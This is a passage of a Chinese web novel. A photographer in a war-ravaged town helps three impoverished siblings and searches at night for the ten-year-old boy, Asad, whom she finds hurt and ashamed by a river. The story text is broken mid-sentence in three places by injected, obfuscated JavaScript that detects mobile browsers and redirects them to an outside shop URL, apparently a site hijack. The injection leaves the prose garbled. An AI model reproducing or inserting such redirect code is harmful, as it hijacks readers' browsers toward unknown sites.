“谢谢你,”他轻声说,语调很轻,眼圈微微泛着红。 秦穗摇头笑了笑:“不客气,等我把照片洗好了,会送一张给你们。” 阳光透过窗沿的缝隙落进来,把墙上的裂纹照得清清楚楚。屋子很静,像是时间停住了。窗外有风,带着一点尘土味,远远的,似乎有钟声断断续续,像从别的世界飘过来。 4. 承诺 秦穗拉好摄影包的拉链,背到肩上:“我下午还要去拍一些东西,就先走了,如果镇上有洗照片的地方我就顺便洗好送过来。” Asad立刻抬头:“真的吗?” 问完,他又像怕自己显得太急,声音低了一点:“我是说……不着急。” 秦穗看着他:“真的。” Mirek抬眼看她,没有像Asad那样追问,只很轻地说:“麻烦你了。” “不是麻烦。” 她背起包的时候,那只小鸟挂坠从拉链上垂下来,随着动作轻轻晃了一下。Mirek看见了,眼神微微停住,像是终于确认自己送出去的东西没有被随便塞进某个角落,那一点高兴很轻,落在他苍白的脸上,只变成一个极浅的笑。 Asad去送她。 门打开时,外面的热风卷进来,带着尘土和炭灰味。Stella抱着膝盖坐在地毯上,还在看秦穗的相机包,眼神里带着一点不舍,又带着一点被拍下以后的迷糊欢喜。 门外,Asad仰头问:“你明天还会来吗?” Mirek低下眼,没有往门口看,可他的耳朵一直听着。 秦穗的声音轻轻落下来:“如果没什么事,我会过来。” Asad眼睛亮亮的,两个小酒窝若隐若现。 门重新关上以后,屋子里一下暗了些。 Setlla看到门关了,又低下头,比着相机的手势拍照,嘴里小小地念叨着。 小女孩两只手比成一个歪歪扭扭的小方框,先对准墙上那条橘色的小鱼,又对准Asad,嘴里学着刚才那声“咔嚓”。Asad被她逗得笑了一下,刚想说她根本不会拍,转头却看见Mirek也在看妹妹,脸上的笑意很浅,耳根还残着刚刚被夸过后的红。 他坐得不太稳。 刚才为了拍照,他勉强把背挺直了一点,现在那点力气散了,右肩又慢慢塌下去,腰侧的旧垫子被压出一块凹陷,膝上的毛毯皱着,灰色毛线散在腿边,细白的手掌虚虚压着线头,虎口僵硬地半张着,像想把那些松开的线重新收拢,却试了两下都没能勾住。 Stella的小方框对准他。 Mirek有些不好意思地偏开一点眼,声音很轻:“不要拍哥哥了。” Stella咯咯笑起来。 Asad把空掉的纸袋和碗收起来,跑去厨房洗。水不能开太大,他只把碗沿沾湿一点,倒了很少的清洁剂,用手指一点一点擦掉油渍。屋里有淡淡的肥皂水味,混着旧棉布和白天留下的食物热气,像一种贫穷却努力维持干净的生活气。 Mirek低下头,继续理膝上的毛线。 他把线团放在毛毯上,用掌根慢慢压住,再用拇指侧一点点把散开的线绕回来。那动作很慢,手腕偏着,虎口僵硬,指尖帮不上多少忙。毛线常常从蜷着的指节边滑出去,他就停一下,重新来。 Stella蹲在他旁边看了一会儿,又仰头问照片什么时候回来。 Mirek很温柔地停了停,轻声说:“要等一等。” “明天?” “不知道。”他说,“姐姐说洗好了会送来。” Stella皱起小眉头,头发乱乱地看着哥哥。 “她会来吗?” 那团线刚绕了一小圈,线头又松开,垂到毛毯边上。他看着那一点散开的线,很轻地点了下头:“会的。” 话说出口,他自己也有一点不确定。 很多人都会说以后。 以后再来。以后帮你问。以后看看。 可很多以后都没有回来。 Stella却因为哥哥这句话安静下来,又举着手指方框去拍墙上的星星。 Asad洗完碗回来,领口沾了一点水。他看见Mirek膝上的线,蹲过去帮他把地上散开的几根捡起来,放到毛毯边。 “哥哥,今天还织吗?” Mirek低头看了看剩下的线:“织一点。” “还够吗?” “够两个小的。”他顿了顿,“可能三个。” Asad点点头:“那我吃完午饭去买线。” Mirek抬眼看他。 “今天?” “嗯。昨天卖掉很多,今天可以补一点。”Asad尽量说得轻松,“我早一点去,早一点回来。” Mirek没有立刻说话。 Asad才十岁,背上竹篓时肩膀总显得太小。可这个家里,只有他能走到街上去,能说几句英语,能把哥哥织出来的东西换成水、饼和线。 Mirek垂下眼,继续绕线。 “先吃午饭。” 他们的午饭很简单。 前一天剩下的一点饼,被Asad用锅底热了热。 Asad把饼分成三份,给妹妹的那块最大。 Mirek看见了,轻声说:“你也吃。” “我吃了。”Asad咬了一口自己的,故意咬得很大,像证明给哥哥看。 Mirek看着他,没再说什么。 Stella坐在地毯上,小口小口吃,嘴角沾着面包屑,碎屑掉在掌心里,也会低下头用舌尖舔掉。 吃完后,Asad把剩下几个手环、小挂件和Mirek刚织好的小鸟放进竹篓里。那只小鸟不大,线色浅,翅膀有一点歪,却很干净。 Mirek看着他收拾。 “买线。”他轻声说。 “我知道。” “浅一点的颜色。Stella喜欢亮的。” “嗯。” “如果钱够,买两个饼。不要买太硬的。” “嗯。” “不要走太远。” “知道。” “天黑前回来。” Asad抬头看他,有点无奈,又不敢真的不耐烦:“哥哥,我知道。” Mirek停住。 他的眼睫垂下去,耳根有一瞬间很轻的红,像是自己也知道说太多了,可不说又不放心。 Asad看见了,立刻软下来。 “我真的知道。”他说,“我会小心的。” Mirek点点头:“卖不掉也回来。” “嗯。” Stella跑过来,抱住Asad的腿,仰着脸说让他带吃的。 Asad弯腰摸摸她的头:“回来给你带。” Mirek立刻轻声说:“不要答应一定有。” Asad怔了一下。 Stella听懂了哥哥的话,脸慢慢皱起来。 Mirek看着妹妹,语气又软下来:“如果有,就带。如果没有,也要让Asad先回来,好不好?” Stella不太高兴,但还是慢慢松了手。 Asad顺着哥哥的话哄她:“如果有,就给你带。如果没有,我也回来。” Mirek看着他,轻轻“嗯”了一声。 Asad背起竹篓。 门打开时,外面的光照进来,把他瘦小的影子拉到地上。他回头挥了一下手,笑起来时两个酒窝陷下去。 “我很快回来。” Mirek靠在沙发上,脸色苍白,身体有些偏,却仍然努力坐稳。他看着弟弟,眼神温柔而不安。 “早点回来。” Asad点点头,跑进了午后的光里。 门被风轻轻带了一下。 Stella趴在门边看了很久,一直到Asad的背影拐过巷口,看不见了,才慢吞吞地回到屋里。她还不太高兴,嘴巴微微撅着,像是还惦记着刚才那句“如果有”。 Mirek看见了,轻声叫她:“Stella。” 小女孩回过头。 他慢慢抬起手,指尖在空中停了一下。那只手还没从刚才的用力里缓过来,细细地抖,最后只轻轻碰到她的头发边缘。 “等一等。”他说。 Stella听不太懂他要她等什么。 等Asad回来。 等照片回来。 等有东西吃。 等那位会把他们放进黑色小机器里的中国姐姐再来。 很多事情都要等。 她最后只是低下头,又去玩那个歪歪扭扭的手指方框,先对着墙,再对着地毯,最后又悄悄对准Mirek。 Mirek这一次没有再拦她。 他低下头,继续把那团灰色毛线一点一点绕回去。 屋子里的光慢慢往墙角移。 旧沙发、褪色软垫、地上的纸袋、墙边那只竹篓留下的空痕,都在光里安静下来。 另一边,秦穗没有回旅馆。 她离开那条巷子以后,手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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旧学校的操场上长出杂草,黑板还在,半截粉笔落在讲台下面。教室门口有一排矮矮的挂钩,其中几个挂钩上还挂着旧书包,布面被晒得褪色,拉链处积着灰,像主人只是临时跑开,下一秒还会回来拿。 同行的记者举起相机,拍了几张,又很快放下。 没有人说话。 向导站在走廊尽头,低声说:“这里以前有四百多个孩子。” 秦穗听见快门声在空荡的教室里响了一下。 很轻。 却像在已经沉下去的时间里,又轻轻敲了一声。 供水点前排着很长的队。 女人把水桶搁在脚边,男人低头看着手机信号,几个孩子躲在阴影下舔着快化的冰棍。水车旁边有人吵起来,很快又被旁边的人拉开。所有人的脸都被晒得发红,汗水从额角流下来,混着灰尘,留下一道一道痕迹。 秦穗拍得很克制。 不拍哭得太近的脸,不拍别人明显想躲的伤口。她拍手,拍水桶,拍废墟边晾着的一件儿童衬衫,拍墙上被雨泡皱的旧海报。 午后,翻译把她带到一条旧街。 “这里以前有很多店。”对方说,“现在只剩几家开着。” 秦穗看着那条街,忽然想起上午手机里翻出的旧照片。 和平时候的街道,店铺门口挂着招牌,日头低垂,光落在人群肩上。Mirek看照片时的眼神又浮上来。那种小心的、几乎不敢眨眼的神情,像怕漏掉任何一点曾经存在过的生活。 她按下快门。 相机里,一张新的废墟照片被存进去。 傍晚前,他们去了海边旧区。 那片海还在。 海本身很难被战争摧毁,只是岸边的酒店塌了,木栈道断了,曾经卖冰饮的小摊只剩半截铁皮棚。远处的夕阳仍然漂亮,橘金色铺满水面,像有人固执地把一盏旧灯点在废墟上。 秦穗站在碎石和干草之间,举起相机。 镜头里,海风吹过空荡荡的沙滩。没有求婚的人,没有花束,没有站在落日下看她的男人。只有焦黑的屋架和被沙埋住一半的旧招牌。 她拍了几张,很快放下相机。 胸腔里像有一小块被盐水泡过的伤口,忽然在风里疼了一下。 那不是剧烈的疼,只是旧事被潮气重新浸开。 向导在不远处提醒:“我们该回去了,天黑前离开这边比较好。” 秦穗点头,跟着他们上车。 车把同行的人依次放下,最后停在她旅馆附近的主路口时,天色已经暗下来了。 5. 再次晚归 巷子里灯很少,只有几盏昏黄的光挂在墙角,照得地面一块亮一块暗。远处有人在说话,声音很快,听起来像争吵,又像只是普通交谈。 路上几个男人坐在外面乘凉,这里靠近海边,海风驱散了不少闷热。 看到秦穗,他们都慢慢停下嘴里的交谈,注视着这个异国的女人。 秦穗只是目不斜视地往前走,只是在路过Asad家的时候缓慢地停下脚步。 回旅馆的路上Asad他们家是必经之路。 她看见Stella坐在门口。 小女孩没有画画。 她抱着膝盖坐在门槛边,头发乱乱的,眼睛一直盯着巷口,身旁放着一只空碗,碗边有一点干掉的酱渍。 秦穗心里轻轻一沉。 她走过去,蹲下来,放轻声音:“Stella?” Stella猛地抬头。 看见秦穗的瞬间,她眼睛亮了一下,随即又像想起什么,脸上的光很快塌下去。她站起来,急急朝屋里喊了一句。 屋内传来一点动静。 不是Asad那种轻快的小跑声。 是沙发垫被撑动、毛毯拖过布面的声音,很轻,却很乱。 秦穗走到门前,往里看了一眼。 Mirek靠在沙发上,身体比白天更歪,腰侧那只褪色垫子被压塌了一角,右肩低下去,整个人像被慢慢拖向沙发缝里。膝上的毛毯皱得厉害,灰色毛线散在腿边,线头绕过他僵硬的虎口,又从蜷着的指节间滑出来。 他似乎一直想把那团线重新绕好,可那只手不太听使唤,掌根压住了,拇指侧却抵不住,细弱的手腕偏在那里,指尖轻轻蹭过毛线,只把线蹭得更乱。 听见秦穗进门,他抬头。 那一瞬,他脸上的惊慌先亮了一下,很快又被更深的难堪压下去,像是他自己也知道,这副样子太狼狈:坐不稳,线绕不好,妹妹坐在门口,弟弟不知去向,而他连自己挪到门边都做不到。 “Qin。” 他的声音很轻,带着一点哑。喉咙像被风吹干了,尾音几乎落不住。 秦穗站在门边,扫了一圈屋里。 “怎么了,怎么妹妹又一个人在外面?” Mirek的睫毛颤了颤。 他没有马上回答,掌根无意识地在毛毯上压了一下。那只手太瘦,骨节清晰,虎口僵硬地半张着,像想抓住什么,可最终只把毛毯压出一小道皱褶。 “Asad还没有回来。” 他说得很慢。 慢得像每个词都让他难堪。 Stella听见哥哥的名字,小手攥住裙摆,眼眶先红了。她贴到Mirek膝边,额头轻轻挨着毛毯。 Mirek低头看她,想伸手摸摸她的头,手臂抬起来一点,前臂就开始发细细的抖。他够不到妹妹的发顶,只能把掌根轻轻落在她头发边缘,碰得很浅,像一片没力气的叶子擦过。 “下午出去的。”他低声说,“吃完午饭以后。大概两点多。” 秦穗看了一眼手机。 八点十七分。 Mirek也看见了屏幕上的时间,脸色又白了一点,唇轻轻抿住。白天那点羞怯还能藏在礼貌后面,现在却全散出来,混着慌张,压在他微微发红的耳根和不稳的呼吸里。 “他平时不会这么晚。”他很快补了一句,像怕秦穗误会Asad不懂事,“他很小心的。他知道天黑以后不安全。” 他停了一下,声音更低。 “他知道我会担心。” 这句说完,他像后悔自己把“我”说出来,睫毛立刻垂下去。 他不想显得自己也是要被照顾、被安抚的那一个。 可事实就摊在眼前。他坐在沙发上,右腿从毯子下滑出去一点,裤管空荡地贴着膝盖,脚踝歪在地毯边缘。那条腿没有自己收回来的意思。Mirek低头看见了,耳根更红,像想把腿收好,手却连毛线都绕不好。 秦穗没有看他的腿太久,只蹲下来,声音放低:“他常去哪儿?你慢慢说,我记。” Mirek像终于抓到一点能做的事,立刻想撑起身体。掌根抵住沙发边缘,僵硬的虎口卡在布料上,手腕颤了颤,肩胛骨很小幅地动了一下,可他的腰撑不住,身体刚往上提一点,就又向右侧塌下去。 秦穗下意识扶住他的肩侧。 Mirek整个人僵住。 不是抗拒,是那种很明显的羞窘。他脸一下红到耳后,目光不知道落在哪里,只能很轻很轻地说:“谢谢。” 秦穗很快松手,没有让这个动作变得更难堪。 他却还垂着眼,指节在毛毯上蜷得更紧。那只细白的手像被羞耻烫到一样,缩了缩,又因为无处可藏,只能停在膝边。 “市场。”他努力把声音放稳,“他一般先去市场。如果人少,会去旧喷泉。今天说要买线,南边有一家小铺……” 他停下来,抿了抿唇。 “抱歉,我说得有点乱。” “没有。”秦穗打开地图,“你说,我标。” Mirek点头,继续说地名。 有些发音她听不准,他重复到第三遍。每重复一次,他脸上的难堪就重一点,好像连说不清地名都是他的错。最后他说到河边,声音轻得几乎听不见。 “如果卖不掉,他有时候会去河边。” “为什么?” “那里人少。”Mirek低下眼,睫毛在苍白眼下投出一层细影,“他不想让别人看见他难过。” 屋子里安静了一瞬。 Mirek的掌根还压在乱掉的毛线上。那些线从他虎口旁散开,绕住指节,又松松垂到毛毯上。他低头看了一眼,似乎想整理,试了一下,却没能勾住线头。 那一点失败让他的耳根又红起来。 他很轻地吸了口气。 像要开口求她帮忙,又觉得自己不能这样。 他们才认识一天多。 昨天她买走所有玩偶,给他们买晚饭。今天给他们看照片,又拍合照。现在她只是路过门口,却又被迫看见他家的混乱。 Mirek垂着睫毛,声音薄薄的:“你今天已经很累了吧。” 秦穗一怔。 他明明急得快撑不住,却还是先问这个。 “还好。” “你拍了一天。”他说,“外面很热。” 说完这句,他像觉得自己说得不合时宜,唇微微动了动,又低下头。那只僵硬的手还停在毛线里,线缠在他指节边,他没有力气把它们一根根拨开。 秦穗说:“我可以去找。” Mirek抬眼看她。 那双眼睛湿得厉害,漂亮,却慌得没有落点。他像是被这句话救了一下,又立刻被更深的羞耻压住。手指微微动,虎口张不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588082|205370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开,只能用掌根把毛毯压得更皱。 “可以……”他声音发抖,“可以麻烦你帮我找一下他吗?” 这句话说完,他脸色几乎白了。 “如果不方便,也没关系。”他很快补充,急得气息有点乱,“我可以再等一会儿。也许他马上回来。也许只是……” 他自己也说不下去。 八点多了。天黑透了。Stella还坐在门口等过很久。 秦穗把手机收起来。 “我去找。” Mirek怔怔看着她。 喉咙动了动,像要说谢谢,却又觉得谢谢太轻。最后他只是低声说:“他很乖的。” 秦穗心口一酸。 “我知道。” “他不会故意不回来。” “我知道。” Mirek垂下眼,眼尾红了一点。他忍着没有哭,只是肩膀轻轻发抖,腰侧又往下塌了些。那一刻,他不像一个能撑住家的哥哥,更像一个被迫坐在原地、连弟弟都够不到的十九岁男孩。 秦穗拨通向导电话。 她说话时,Mirek一直低头看着膝上的线。掌根压着,拇指侧慢慢抵住,试了两次,还是没能把那团线绕回去。Stella靠在他膝边,小声问了一句,Mirek低下头,用本地话很轻地哄她,那声音软得几乎要碎。 秦穗挂断电话时,他抬起眼,像还想交代什么。 她背起相机包,走到门口。 Stella忽然跑过来,抓住她衣角。小女孩仰着脸,急急说了一串话。 秦穗听不懂。 Mirek听懂了,脸色又白了一点。 他很轻地翻译:“她说,让你把Asad带回来。” 秦穗蹲下来,看着Stella:“我去找他。” 小女孩不懂全部,却慢慢松开了手。 Mirek在她身后叫了一声:“Qin。” 秦穗回头。 他靠在沙发里,身体偏得厉害,细弱的手还压着那团乱线,眼尾红着,耳根也红着,像有很多话想说。 比如Asad如果受伤了会说不疼。比如他如果躲起来,不是故意让人找不到。比如他很怕回来时空着竹篓。比如不要先责怪他。 最后Mirek只是很轻地说:“如果看见他……不要先说他。” 秦穗点头。 “好。” “叫他名字就好。”他声音更低,“他听见熟悉的人叫,会出来的。” 秦穗握紧相机包肩带。 “我会叫他。” 她走进巷子里。 门在身后没有完全关严。屋内的灯从门缝漏出来,细细一线。Mirek靠在沙发上,看着那条线。 他的身体还往右塌着,腿歪在毛毯下,手里那团灰线乱得像再也理不顺。可他还是慢慢把掌根压上去,试着重新绕。 没绕住。 线从僵硬的虎口边滑开。 他停了很久,才用发哑的声音对Stella说:“她会找到他的。” Stella抬头看他。 Mirek也不知道这句话是在哄妹妹,还是在哄自己。他低着睫毛,眼尾红得厉害。 “她会找到Asad的。” 屋外的脚步声远了。 他坐在沙发上,一动不能动,只能听着夜一点一点压下来。 6. 寻找 门外的风一下灌进来,吹得桌上的塑料袋哗啦一响。 秦穗走进夜色里。 她没有立刻往前跑。 这座城市的夜晚和白天完全不一样。白天那些断墙、焦黑的楼面、被太阳晒得发白的石阶,到了夜里都沉成一块块辨不清边界的影子。巷子里没有完整的路灯,只有几盏昏黄的灯挂在墙角,光照得很短,像还没落到地上就已经没了力气。 她站在门外,先给白天的向导打了电话。 电话响了很久才接通。那边有风声,车门开合声,还有几个男人很快的当地话。秦穗握着手机,把事情尽量说清楚。 十岁。 卷发。 背着竹筐。 会说英语。 下午两点多出门买线,到现在还没有回来。 常去旧喷泉、临时售水点、南边补给棚,也可能会去河边。 电话那头静了一下。 向导的声音沉下来:“Qin,你现在在哪里?” 秦穗报了那条巷子的名字。 向导很快说:“你不要一个人去找。你站在门口等我。我叫翻译,还有白天那个记者一起过去。司机也来。” “多久?” “十分钟。最多十五分钟。”他说,“你不要去桥洞,不要去河边。” 秦穗应了一声,挂了电话。 门缝里漏出来的光还在她身后,细细的一线。她没有回头,却能感觉到那间小屋还在她背后亮着,Mirek坐在那张旧沙发上,身体歪着,手里那团线怎么也绕不好。 她低头打开相机。 屏幕亮起来,停在上午那张合照上。 Mirek坐在中间,苍白、单薄,努力把背撑直。Asad贴着他的肩膀,笑得很亮,两个小酒窝深深陷进去。Stella抱着哥哥的手肘,眼睛睁得圆圆的,有一点紧张,又有一点依恋。 照片很小。 在这片黑夜里,像一枚不够亮,却还没有熄灭的火种。 向导来得比她想象中快。 旧越野车在巷口停下时,车灯只亮了一瞬,立刻被司机关掉。向导从副驾驶下来,肩上还是白天那只磨旧的帆布包,后面跟着翻译和一个记者。记者没有拿相机,手里只有一支手电,光压得很低,只照脚下,不往人脸上晃。 向导接过秦穗手里的相机,看了几秒。 “这个孩子我下午好像见过。”翻译低声说,“在旧喷泉那边,有几个孩子在那块地方卖水和旧电池。” 秦穗抬头:“他在那里摆摊?” 翻译摇了摇头:“不一定摆得下。那边现在不太好。” 他说“不太好”的时候,语气很轻,像不想把话说透。 向导没有耽搁,把相机还给秦穗:“先去旧喷泉。一路问。” 他们从巷子里出来,沿着白天走过的那条主路往旧市政厅方向走。 夜里的街不是空的。 它只是换了一种活法。 白天摆在太阳底下的塑料水桶、旧衣服、干硬的饼和一小袋一小袋的盐,都被收进了铁皮棚下面。几盏灯泡接在临时拉出的电线上,光一晃一晃的,照着人在阴影里移动。有人卖水,有人换零钱,有人坐在半截台阶上抽烟。还有几个孩子蹲在墙角边,手里拿着旧手机壳、废电池和不知道从哪里拆下来的充电线。 秦穗听不懂他们说话。 她只能一次一次把相机屏幕亮起来,把那张合照递到别人面前。 翻译替她问。 “见过这个男孩吗?” “今天下午,背竹筐。” “卖线编的小玩意儿。” “十岁左右,叫Asad。” 第一个卖水的女人看了一眼照片,摇头,嘴里说了几句很快的话。 翻译说:“她没见过。” 第二个坐在旧轮胎上的男人没有接相机,只远远瞥了一眼,就摆手。那动作很不耐烦,像这个问题本身也占用了他的力气。 第三个男人看得久一点,目光落在照片里的Asad脸上,又扫过Mirek和Stella。他像是认出来了,却没有马上说话,只把烟从嘴边拿开,低低说了句当地话。 翻译皱眉,追问。 那人却不肯再多说,低头继续抽烟。 “他说这种小孩很多。”翻译沉默了一下,才翻给秦穗,“每天都有,谁记得。” 秦穗没有说话。 她把相机收回来,继续往前走。 她忽然觉得照片这个东西很残忍。 对她来说,屏幕上的Asad已经有了名字,有哥哥,有妹妹,有一张刚刚拍下的合照。他笑起来有酒窝,数钱的时候手指会发抖,说“中国”时眼睛会亮一下。 可对这些人来说,他只是许多个战后街边小孩里的一个。 会卖东西。 会被赶走。 会哭。 也会消失。 他们走到旧喷泉时,那里已经没有水了。 喷泉池裂开很久,里面积着灰、塑料袋和几只空瓶子。池边一圈石阶白天还留着人坐过的痕迹,到了夜里,只剩下几个十五六岁的少年靠在断墙边说话。其中一个手里拿着一袋烟,另一个脚边放着几瓶没有标签的水。 向导没有让秦穗先上前。 他自己走过去,用当地话问了几句。 那些少年先是笑,后来听见“Asad”的名字,笑声淡了点。有一个低头看鞋尖,另一个抬眼打量秦穗,目光在她身上停得很不舒服。 翻译站在秦穗旁边,声音很低:“他们说没见过。” “他们在撒谎吗?”秦穗问。 翻译没有立刻回答。 向导又问了一遍,语气重了些。 那个拿烟的少年忽然不耐烦地说了一长串话,手往南边一挥。秦穗听不懂,只看见他的动作带着一种轻慢,好像在赶走一只挡路的鸟。 翻译的脸色不太好。 “他说,那个小孩下午来过。”翻译压低声音,“他们让他不要在这里摆,说这里不是他的地方。他后来往补给棚那边走了。” “他们有没有碰他?”秦穗问。 翻译看了一眼向导。 向导没说话。 那一眼已经说明了很多。 他们继续往南边走。 南边所谓的补给棚,白天是一排临时遮阳布和几辆车。有人在那里发水,也有人趁着人多卖电话卡、打火机、旧衣服、破损的药盒和散装的饼。现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588083|205370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在大部分棚子都已经收了,只剩下蓝白色塑料布在夜风里一鼓一鼓,像一张张疲惫的帆。 一个年纪很大的男人守在棚边,正在把几只空桶摞起来。 他看了照片,认出了Asad。 这一次,他没有马上摇头。 他看了看向导,又看了看秦穗,声音压得很低,说了几句当地话。 翻译听完,眉头慢慢皱起来。 “他说,下午有几个少年拿了他的东西。” 秦穗的手指一点点收紧。 “拿了什么?” “竹筐里的玩偶,还有手环。不是为了卖钱。”翻译停了停,“就是不让他在那里。” 老人又说了几句,手指往桥的方向指。 “孩子追过去了。”翻译说,“后来有人看见他往旧桥那边跑。竹筐坏了。” 秦穗看向桥的方向。 那边几乎没有灯。 远处只有一段黑色的桥影横在河上,桥洞下面像压着一口更深的夜。风从那边吹来,带着水腥味、铁锈味,还有一点潮湿垃圾被晒过又冷下来的味道。 向导拦了她一下。 “那里晚上真的不好走。” 秦穗看着他。 向导叹了口气,把手电从记者那里拿过来:“一起去。不要分开。” 越往桥边走,路越难走。 地面上有碎石、玻璃渣和几段露出来的钢筋。旧桥下原本应该有一条沿河的小路,战争以后塌了半边,剩下的水泥板一块高一块低。河水在黑暗里缓慢流动,看不清颜色,只听见低低的、迟缓的水声。 记者把手电压得很低。 光柱扫过地面,先扫到几团被水泡脏的毛线,又扫到一只断掉翅膀的针织小鸟。那只小鸟本来应该是浅黄色,现在沾了泥,翅膀边的线散出来,歪歪地搭在石缝里。 秦穗弯腰把它捡起来。 很轻。 轻到几乎没有重量。 可她指尖却像被烫了一下。 再往前几步,他们看见了竹筐。 它歪在水泥台阶旁边,一侧竹篾断了,提手被扯开半截,底部裂着,里面空空的,只剩几根浅色毛线挂在裂口上,被风吹得轻轻晃。 秦穗慢慢蹲下去,把它扶起来。 断开的竹篾扎了一下她的指腹,她像没感觉到,只低声说:“是他的。” 向导用当地话叫了一声:“Asad?” 没有回应。 河边的风更冷些,吹得塑料布在不远处的铁架上啪啪作响。桥洞底下有一排废弃的矮墙,墙后长着杂草和很低的灌木。那里黑得很深,手电照进去,只能看见几片叶子和水泥边缘。 秦穗抱着坏竹筐,往前走了两步。 她想起Mirek的声音。 叫他名字就好。 他听见熟悉的人叫,会出来的。 秦穗喉咙有些发紧,还是放轻声音,慢慢叫了一声: “Asad。” 没有回应。 她又走近一点。 “Asad,是我,Qin。” 矮墙后面传来一点很轻的动静。 像一个小动物躲在草丛里,屏住呼吸,却还是不小心碰到了枯叶。 7. 回家就好 先露出来的是一只鞋。 先露出来的是一只鞋。 旧球鞋边缘全是泥,鞋带散着,一截裤脚被撕开,布料垂下来,膝盖上蹭破了一块。过了很久,那个小小的身影才从矮墙后面慢慢挪出来。 Asad没有站直。 他低着头,卷发乱得厉害,额角有一道擦破的口子,血已经干在鬓边,和灰尘黏成暗色。左脸微微肿着,裤子也破了,露出渗着血的膝盖。他两只手紧紧攥在身前,指甲缝里全是泥,像还想抓住什么。 向导低声问了句当地话,像是想确认他身上有没有更重的伤。Asad听见陌生男声,肩膀缩得更厉害,眼睛很快地抬了一下,又低下去。 秦穗蹲下来,把坏竹筐放到自己身边,没有推给他。 “我找到它了。”她说。 Asad盯着那只竹筐。 它一侧竹篾断了,提手被扯开,底部裂着,几根浅色毛线挂在破口上,被风吹得一下一下晃。 他的嘴唇动了一下。 很久,才挤出一句:“它坏了。” 他的眼睛已经红得厉害,却还在很用力地忍。他像是怕自己一哭,就会显得更没用,手指攥着衣角,攥到关节发白。 “他们说那里不是我的地方。”他说,“他们让我走。” 翻译在旁边听着,轻轻把那几个当地词补给秦穗。Asad说得很乱,有时英文,有时夹着当地话,句子断在一起,像被人踩碎后又急着捡起来。 “我没有走。”Asad低着头,“我想再卖一会儿。我今天一个都没有卖出去。哥哥说卖不掉也回来,可是……” 他说到这里,声音忽然抖了一下。 “可是线快没有了。” 秦穗看着他。 桥边的风把他的衬衫吹得贴在瘦小的脊背上。他才十岁,站在那里却像已经知道很多成年人都不知道的难堪:没钱,没东西,没办法保护自己手里的东西,也没办法回去面对一盏一直亮着的灯。 “他们拿了小鸟。”Asad说,“还有手环。还有那个绿色的小羊。” 他的呼吸变得急促起来。 “我追过去了。我想拿回来。那是哥哥织的。他织了很久,他手不听话,要弄很久很久。他昨天晚上还在织,小羊的耳朵歪了,他拆掉又重新弄。” 他终于抬头看了秦穗一眼。 那一眼里没有多少孩子被打后的愤怒,更多的是一种近乎崩塌的羞愧。 “我没有拿回来。” 秦穗只是低下头,从地上捡起那只断了翅膀的小鸟。 小鸟沾了泥,翅膀边散出的线垂着。她用指腹轻轻擦掉一点泥,没有擦干净,反而把黄色蹭得更暗。 “这个还在。”她说。 Asad看着那只小鸟,眼泪一下子掉了下来。 他很快用袖子去擦,擦得脸上黑一道白一道。可是眼泪止不住,越擦越多。他咬着嘴唇,不肯哭出声,喉咙里只漏出一点很低的、破掉的气音。 “它坏了。”他说。 “坏了也带回去。” 秦穗把那只小鸟放进竹筐里,又弯腰把旁边几团脏掉的毛线一一捡进去。 记者沉默地把手电往地上移了一点,帮她照着。向导也看见了,没说话,只弯腰从石缝边捡起一截断掉的彩色编绳,递给秦穗。 秦穗接过来,放进竹筐。 “这是你哥哥做的东西。”她说,“不该留在这里。” Asad听完,喉咙很轻地动了一下。 他慢慢蹲下来,用脏兮兮的手从草叶边捡起一根墨蓝色的线。那根线太短,已经不能再做什么。他还是把它放进竹筐里,动作很小,很认真。 “还有那个绿色的小羊。”他低声说,“我没找到。” “明天再找。”秦穗说。 Asad摇头。 那一下很轻,却几乎把他自己摇碎了。 “我不能回去。”他说,“我这样不能回去。” 秦穗看着他。 “为什么?” Asad嘴唇发抖。 “我没有钱。” 他像终于说出了最难堪的那一句,声音小得几乎被风吹没。 “我没有买线。也没有买饼。哥哥和Stella还在等。我说我会早点回来,我说如果有,就带吃的。” 他说着,忽然哽了一下。 “哥哥不会骂我。” “可是他不会骂我。”Asad又重复了一遍,像这才是他最害怕的事,“他只会问我疼不疼。他会说没关系。他会说回来就好。” 他的眼泪又掉下来。 “可是怎么会没关系。” 向导站在旁边,低头看了一眼那只坏掉的竹筐,脸上的神情很沉。 “这种事…这里常有。小孩子抢小孩子的地方。没人管得过来。” 秦穗抬头看了一眼旧桥。 桥身黑沉沉地横在河上,像一条断掉的骨头。远处没有灯,只有风吹过塑料布,发出一阵一阵空响。 秦穗重新看向Asad。 “哥哥和妹妹都很着急,他们不在意你卖出了多少钱,有没有带东西回来,他们只希望你回去。” Asad终于哭出了声。 那哭声很压抑,断断续续,他早就习惯了不能哭得太大声。他蹲在地上,手还扶着坏竹筐的一侧,指尖发着抖,像一边哭,一边还舍不得放开那些被捡回来的碎线。 他伸手想去提竹筐,可竹筐一侧已经坏了,刚提起来,里面几团毛线就从裂缝里往下掉。他慌忙蹲下去捡,动作急得差点被断竹篾划到手。 